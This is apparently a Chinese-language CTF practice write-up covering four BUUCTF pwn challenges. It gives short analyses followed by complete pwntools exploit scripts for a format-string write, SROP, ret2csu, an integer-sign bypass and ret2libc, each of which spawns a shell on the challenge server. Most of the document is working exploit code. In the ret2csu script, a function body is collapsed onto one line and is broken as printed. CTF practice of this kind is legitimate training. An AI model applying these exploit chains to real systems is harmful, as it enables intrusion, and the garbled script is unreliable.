PWN-PRACTICE-BUUCTF-7

jarvisoj_fm
ciscn_2019_s_3
- SROP解法
- ret2csu解法
bjdctf_2020_babystack2
[HarekazeCTF2019]baby_rop2

jarvisoj_fm

格式化字符串漏洞，可以测出我们的输入在栈上的偏移为11
自己构造或者使用fmtstr_payload构造payload均可，目标是让x==4

from pwn import *
#io=process('./jarvisoj_fm')
io=remote('node4.buuoj.cn',26047)
elf=ELF('./jarvisoj_fm')
x_addr=0x0804A02C
#payload='aaaa%14$naaa'+p32(x_addr)
payload=fmtstr_payload(11,{x_addr:4})
io.sendline(payload)
io.interactive()

ciscn_2019_s_3

先看保护，开了Partial RELRO和NX

main函数里只有一个vuln函数，F5后看到有sys_read和sys_write
利用系统调用，sys_read向栈上写入最多0x400字节数据，sys_write从栈上取出最多0x30字节数据
0x400和0x30均大于buf的0x10字节，于是可造成栈溢出和泄露栈
注意这里0x00000000004004EE后没有抬高栈，rbp和rsp始终是相同的，下面也是用rsp来寻址
于是栈溢出时，将buf的0x10字节覆盖完全后，直接跟想要ret过去的地址即可

再看gadgets处，将rax赋为15，然后返回，下面还有一条gadget将rax赋为59，然后返回
联系之前的syscall，系统调用号15对应sigreturn，系统调用号59对应execve

于是该题有两种解法，一是SROP，二是ret2csu，目标都是让程序执行execve("/bin/sh",0,0)，而前提是必须通过sys_write泄露栈地址，进而计算出字符串"/bin/sh"的地址

SROP解法

from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
gadgets=0x00000000004004DA
syscall=0x0000000000400517
payload="/bin/sh\x00"+"a"*8+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload="/bin/sh\x00"+"a"*8+p64(gadgets)+p64(syscall)+str(frame)
io.sendline(payload)
io.interactive()

ret2csu解法

#coding:utf-8
from pwn import *
#context.log_level="debug"
context.os="linux"
context.arch="amd64"
#io=process('./ciscn_s_3')
io=remote('node4.buuoj.cn',28749)
elf=ELF('./ciscn_s_3')
read_write=0x00000000004004F1
rax_59=0x00000000004004E2
syscall=0x0000000000400517
pop_rdi_ret=0x00000000004005a3
payload="/bin/sh\x00"+p64(rax_59)+p64(read_write)
io.sendline(payload)
io.recv(0x20)
binsh=u64(io.recv(8))-0x118
print(hex(binsh))
rax_59_stack=binsh+0x10
print(hex(rax_59_stack))
#gadget_2
gadget_2=0x0000000000400580
#gadget_1
gadget_1=0x000000000040059Adef com_gadget(rbx,rbp,r12,r13,r14,r15,main_addr):payload="/bin/sh\x00"+p64(rax_59)payload+=p64(gadget_1) payload+=p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload+=p64(gadget_2) payload+="a"*56 payload+=p64(main_addr) return payload
payload=com_gadget(0,1,rax_59_stack,0,0,59,pop_rdi_ret)
payload+=p64(binsh)+p64(syscall)
io.sendline(payload)
io.interactive()

bjdctf_2020_babystack2

输入长度时用"-1"绕过，后面就是简单的栈溢出，覆盖rip到backdoor

from pwn import *
#io=process('./bjdctf_2020_babystack2')
io=remote('node4.buuoj.cn',25885)
elf=ELF('./bjdctf_2020_babystack2')
backdoor=elf.sym['backdoor']
io.recvuntil('name:\n')
io.sendline('-1')
io.recvuntil('name?\n')
payload='a'*(0x10+8)+p64(backdoor)
io.sendline(payload)
io.interactive()

[HarekazeCTF2019]baby_rop2

栈溢出，ret2libc

from pwn import *
context.log_level="debug"
io=remote('node4.buuoj.cn',28557)
#io=process('./babyrop2')
elf=ELF('./babyrop2')
libc=ELF('./libc.so.6')
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main=0x0000000000400636
pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
ret=0x00000000004004d1
s=0x0000000000400770
io.recvuntil("name? ")
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(s)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.sendline(payload)
io.recvline()
io.recvuntil("again, ")
read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="a"*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
io.recvuntil("name? ")
io.sendline(payload)
io.sendline("cat /home/babyrop2/flag")
io.interactive()